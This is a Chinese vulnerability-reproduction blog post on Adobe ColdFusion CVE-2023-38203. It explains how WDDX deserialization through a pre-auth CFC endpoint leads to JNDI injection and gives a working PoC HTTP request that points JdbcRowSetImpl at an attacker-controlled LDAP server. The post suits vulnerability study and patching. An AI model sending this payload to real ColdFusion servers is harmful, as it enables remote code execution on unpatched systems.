漏洞复现-Adobe ColdFusion 远程代码执行漏洞(CVE-2023-38203)
1.漏洞描述
Adobe ColdFusion是一种服务器端的Web应用开发平台。它由Adobe Systems开发,用于创建动态的、交互式的Web应用程序和网站。
Adobe ColdFusion在2018u17及之前版本、2021u7及之前版本和2023u1及之前版本中存在任意代码执行漏洞。该漏洞是由于反序列化不受信任数据漏洞的影响,可能会导致任意代码执行。攻击者可利用该漏洞对目标有针对性的发起攻击,危害站点系统安全。
2.影响版本
ColdFusion <=2018u17
ColdFusion <=2021u7
ColdFusion <=2023u1
3.影响范围

4.漏洞分析
我们通过git diff看到coldfusion.wddx.DeserializerWorker.java文件

这是一个XML 类型的WDDX数据包解码器。在startElement方法中DeserializerWorker,我们注意到新添加的验证是通过validateWddxFilter() struct参数执行的。

WDDX数据包的解析
<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>
经过调试后发现Java 反射在某些代码块中被广泛使用,这表明用户输入将经历反射调用。
这是解析过程中有趣部分的代码流程:
onEndElement() -> getClassBySignature() -> setBeanProperties()
在该方法中,如果 WDDX 数据包的结构元素中提供了 type 属性,则会对该字段onEndElement()执行检查

通过此检查后,将调用getClassbySignature(),它使用反射来获取类实例。类名源自用户控制的输入m_strictType

有了类名后,就可以使用反射来访问类的构造函数,没有参数的构造函数,并实例化类的实例。然后将此实例与用户控制的m_ht字段一起传递给setBeanProperties(),该字段包含WDDX变量。

如果bean有任何setter方法,它将被返回,并最终通过Java Reflections在bean上调用,变量的值是唯一的参数,这些变量的值来自用户控制的WDDX数据包。
在我们通过搜索WddxDeserializer的代码进行分析的过程中,我们发现了一个FilterUtils类的调用。

在GetArgumentCollection方法中使用的。从表单或查询字符串中提取argumentCollection参数。然后检查检索到的输入以确定它是否为JSON类型。如果不是,则使用WDDXDeserialize调用将该值反序列化为WDDX数据包。

在我们的分析中,预授权CFC端点触发对GetArgumentCollection的调用,并最终触发对易受攻击的接收器的调用,即WDDXDeserialize。

/CFDE/adminapi/accessmanager.cfc是预授权有效的cfc端点
我们选择了一个满足指定要求的简单类java.util.Date,我们在请求中创建了一个类似于以下内容的WDDX数据包。

我们能够确认对java.util.Date.setDate(our_input)的调用已成功执行。
我们看看com.sun.rowset.JdbcRowSetImpl类,如果将布尔参数传递给此类的setAutoCommit()方法,它将对dataSourceName执行JNDI查找,该查找可以使用setDataSourceName()方法进行设置。在调用setDataSourceName()之后再调用setAutoCommit()会导致JNDI注入漏洞。需要注意的是,在进行方法调用时,我们处于for循环中,因此我们能够在bean实例上调用多个方法。
我们通过WDDX反序列化升级到JNDI注入。

Poc:
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 266argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
5.修复建议
目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。
官方下载地址:
https://helpx.adobe.com/security/products/coldfusion/apsb23-41.html
相关文章:
漏洞复现-Adobe ColdFusion 远程代码执行漏洞(CVE-2023-38203)
1.漏洞描述 Adobe ColdFusion是一种服务器端的Web应用开发平台。它由Adobe Systems开发,用于创建动态的、交互式的Web应用程序和网站。 Adobe ColdFusion在2018u17及之前版本、2021u7及之前版本和2023u1及之前版本中存在任意代码执行漏洞。该漏洞是由于反序列化不…...
Spring-MyBatis整合:No qualifying bean of type ‘XXX‘ available: ...
1.看一下核心配置中有没有导入myBatis配置 2.看一下service和dao有没有相应注解 3.看一下MyBatisConfig中有没有对sqlSessionFactory和mapperScannerConfigurer注释成bean对象以及有没有配置映射文件路径...
gitea docker 快捷安装部署
前言 在前一篇博文(什么是 Gitea?)中,我们详细介绍了gitea的功能特性,以及其与其它git服务器之间的特性多维度对比。 在本文中,我们将详细介绍gitea的快捷安装部署,docker方式! 1…...
CLAMP-1
一、信息收集 1、主机发现 nmap 192.168.236.0/24 2、端口扫描 nmap 192.168.236.173 -p- -A 3、目录扫描 dirb http://192.168.236.173 二、漏洞探测 访问80端口 访问 /nt4stopc/ 下面有一些问题,提示必须收集答案 都是一些判断题,对与错对应1与0&…...
Blender的Python编程介绍
在Blender这个免费的开源3D设计软件中,最值得称道的一点是可以用Python程序来辅助进行3D设计,我们可以通过Python来调整物体的属性,生成新的物体,甚至生成新的动画等等。 在最近的一个项目中,我用Blender制作了一个动…...
树莓派4/5:运行Yolov5n模型(文末附镜像文件)
〇、前言 因国内网络问题,可直接烧录文末镜像文件,或者按照本教程进行手动操作。 一、实验目的 在树莓派4B运行Yolov5n模型。 二、实验条件 1、Windows 11计算机:安装了Mobaxterm 2、树莓派4B:64Bit Lite OS,安装了…...
【学习笔记】Day 9
一、进度概述 1、inversionnet_train 试运行——成功 二、详情 1、inversionnet_train 试运行 在经历了昨天的事故后,今天最终成功运行了 inversionnet_train,运行结果如下: 经观察,最开始 loss 值大概为 0.5 左右 随着训练量的增…...
Linux网络案例
网络配置基础 WIN10上安装虚拟机,虚拟机里安装CENTOS6.5。 1)网络配置的步骤 (1)CENTOS6.5C网络设置: su root //切换root用户 cd /etc/sysconfig/network-scripts //进入网卡配置文件所在目录 vi ifcfg-eth0 //修改网卡配置文件 …...
苹果离线打包机配置和打包
1、虚拟机安装 macOS虚拟机安装全过程(VMware)-腾讯云开发者社区-腾讯云 给 windows 虚拟机装个 mac 雪之梦 1、安装苹果镜像 去网上下载,打包机的镜像要和自己mac电脑上的保持一致。 同时打包机的用户名也需要和自己的mac保持一致。 2、…...
【C++ Primer Plus】学习笔记 5【指针 下】
文章目录 前言一、指针1.使用new创建动态结构例子:使用new和delete 2.自动存储、静态存储和动态存储1.自动存储2.静态存储3.动态存储 总结 前言 依旧是指针部分ヾ(◍∇◍)ノ゙ 一、指针 1.使用new创建动态结构 将new用于结构由两步组成:创建…...
Phpstorm实现本地SSH开发远程机器(或虚拟机)项目
适用场景: 1、windows系统想要运行仅支持linux、mac系统的项目,可将项目运行在本地虚拟机,但是在虚拟机里使用vim编辑很麻烦,如何实现在本地用Phpstorm来编辑虚拟机中的代码? 下面的说明都是以本地虚拟机为例ÿ…...
API 的多分支管理,让 Apifox 帮你轻松搞定!
在产品迭代的过程中,对 API 的更新和维护是必然的,也是至关重要的。当产品需要引入新功能或对现有功能进行调整时,相应的 API 往往也需要进行升级或修改,这种情况在快速迭代的产品中很是常见。 然而,API 的迭代更新并非…...
线上预约陪诊平台医院陪诊系统源码就医陪护小程序APP开发
项目分析 随着医疗行业的数字化转型和人们对健康需求的日益增长,线上预约陪诊系统作为一种新兴的医疗服务模式,正逐渐受到市场的关注和认可。本文将从市场前景、使用人群、盈利模式以及竞品分析等多个角度,全面探讨线上预约陪诊系统的技术性…...
240806-在Linux/RHEL开机中自动启动bash脚本
A. 常规方法 要在Red Hat Enterprise Linux (RHEL) 中设置开机启动的bash脚本,可以使用以下方法之一: 方法1:使用/etc/rc.d/rc.local 打开/etc/rc.d/rc.local文件: sudo vi /etc/rc.d/rc.local在文件末尾添加你想要执行的bash脚…...
【多线程】乐观/悲观锁、重量级/轻量级锁、挂起等待/自旋锁、公平/非公锁、可重入/不可重入锁、读写锁
文章目录 乐观锁和悲观锁重量级锁和轻量级锁挂起等待锁和自旋锁公平锁和非公平锁可重入锁和不可重入锁读写锁相关面试题 锁:非常广义的概念,不是指某个具体的锁,所有的锁都可以往这些策略中套 synchronized:只是市面上五花八门的锁…...
31_逻辑漏洞、水平垂直越权、垂直越权漏洞测试、水平越权
概述 如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。 一般越权漏洞容易出现在权限页面(需要登录的页面࿰…...
css写一个按钮流光动画效果
规则说明 按钮实现一个简易的流光动画 streamer.css.pay_button{width: 281*2px;height: 104px;border-radius: 80px;color: rgba(255, 255, 255, 1);background: linear-gradient(90deg, #FFA023 0%, #FF2B87 100%);margin-bottom: 20px;font-size: 32px;position: relative;o…...
AxMath保姆级安装教程(word联用)及使用TIPS
一、软件介绍 AxMath是一款数学公式编辑器软件。它提供了一个直观的界面,使用户可以轻松创建和编辑数学公式。AxMath支持多种数学符号、方程式、函数、矩阵等的输入和编辑,并提供了丰富的数学符号库和模板,方便用户快速创建复杂的数学公式。…...
Vue-03.指令-v-on
v-on 为HTML标签绑定事件 代码演示: 在下面的代码中,在input标签中定义了一个按钮,并且使用v-on为input标签绑定了一个事件click,当鼠标点击该按钮时,会触发指定的方法handle,如果…...
接口基础知识6:详解http request body(一篇讲完常见请求体)
课程大纲 一、定义 HTTP请求体(HTTP Request body):HTTP请求消息的可选部分,仅在请求方法支持且需要发送数据时使用。 POST方法、PUT方法有请求体,GET和HEAD方法没有请求体。 请求头和请求体之间会有一个空行&#…...
基于MATLAB+CPLEX gurobi平台的电力系统机组组合研究:考虑安全约束与直流潮流优...
MATLAB代码:考虑安全约束及热备用的电力系统机组组合研究 关键词:机组组合 直流潮流 优化调度 参考文档:自编文档,模型数据清晰明了 仿真平台:MATLABCPLEX/gurobi平台 优势:代码具有一定的深度和创新性&a…...
C++笔记 Lambda表达式
Lambda表达式是C11引入的核心特性之一,本质是一种匿名函数,可以捕获作用域内的变量,无需单独定义函数名,就能实现简洁、灵活的代码编写,尤其适合作为回调函数、算法参数(如STL算法)等场景&#…...
UART 入门指南(Linux新手版)
UART 入门指南(Linux新手版) 适用对象:嵌入式/电子/通信初学者 目录 什么是 UARTUART 工作原理硬件接口与接线通信参数详解编程示例常见问题与调试 1. 什么是UART 1.1 基本定义 UART 的全称是 Universal Asynchronous Receiver/Transmitte…...
jupyter Kernel Disconnected崩溃的修复
问题描述由于博主执行了pip install tensorflow2.13.0这个傻逼操作降级了很多底层库(比如 numpy, typing-extensions 等)导致这些底层的变动把 Jupyter 本身的运行环境搞崩了,启动不了 Python 内核。启动后也显示Disconnected而且点击运行后&…...
IDMPhotoBrowser:iOS开发者的终极照片浏览器解决方案
IDMPhotoBrowser:iOS开发者的终极照片浏览器解决方案 【免费下载链接】IDMPhotoBrowser Photo Browser / Viewer inspired by Facebooks and Tweetbots with ARC support, swipe-to-dismiss, image progress and more 项目地址: https://gitcode.com/gh_mirrors/i…...
LiuJuan Z-Image Generator完整指南:宽松加载strict=False适配非标权重
LiuJuan Z-Image Generator完整指南:宽松加载strictFalse适配非标权重 1. 引言:当定制权重遇上标准模型 你有没有遇到过这种情况?好不容易找到一个效果惊艳的定制版模型权重,兴冲冲地下载下来,结果在加载时却报了一堆…...
IM023-将PDF文件导出jpg图片到PDF所在目录下
批量将pdf文档每页导出为jpg图片 比如A文件夹下有B、C、D、E....等文件夹,每个文件夹下都有一定的pdf文件,将程序放在A文件夹下,运行程序后会将B、C、D、E....等文件夹下每个pdf文件分别导出为jpg图片,导出的jpg图片命名方式为&am…...
第一部分:低代码诞生的背景
在技术领域,我们常常被那些闪耀的、可见的成果所吸引。今天,这个焦点无疑是大语言模型技术。它们的流畅对话、惊人的创造力,让我们得以一窥未来的轮廓。然而,作为在企业一线构建、部署和维护复杂系统的实践者,我们深知…...
用快马快速构建战网更新睡眠模式诊断工具原型
最近在帮朋友排查战网(Battle.net)客户端更新卡顿的问题时,发现"更新服务进入了睡眠模式"这个提示特别常见。作为开发者,如果能快速验证各种修复方案的有效性,会大大提升排查效率。今天就用InsCode(快马)平台来快速搭建一个诊断工具…...
Oracle EBS 6+2 段式 COA 架构 拆到最细、可直接落地 EBS 的版本,每一段的作用、限定词、长度、编码规则、为什么这么设计全部讲清楚
把 62 段式 COA 架构 拆到最细、可直接落地 EBS 的版本,每一段的作用、限定词、长度、编码规则、为什么这么设计全部讲清楚,你可以直接拿去做方案文档。一、62 段式架构总定义6 段 法定核算 管理核算的核心骨架(必须固定)2 段 …...
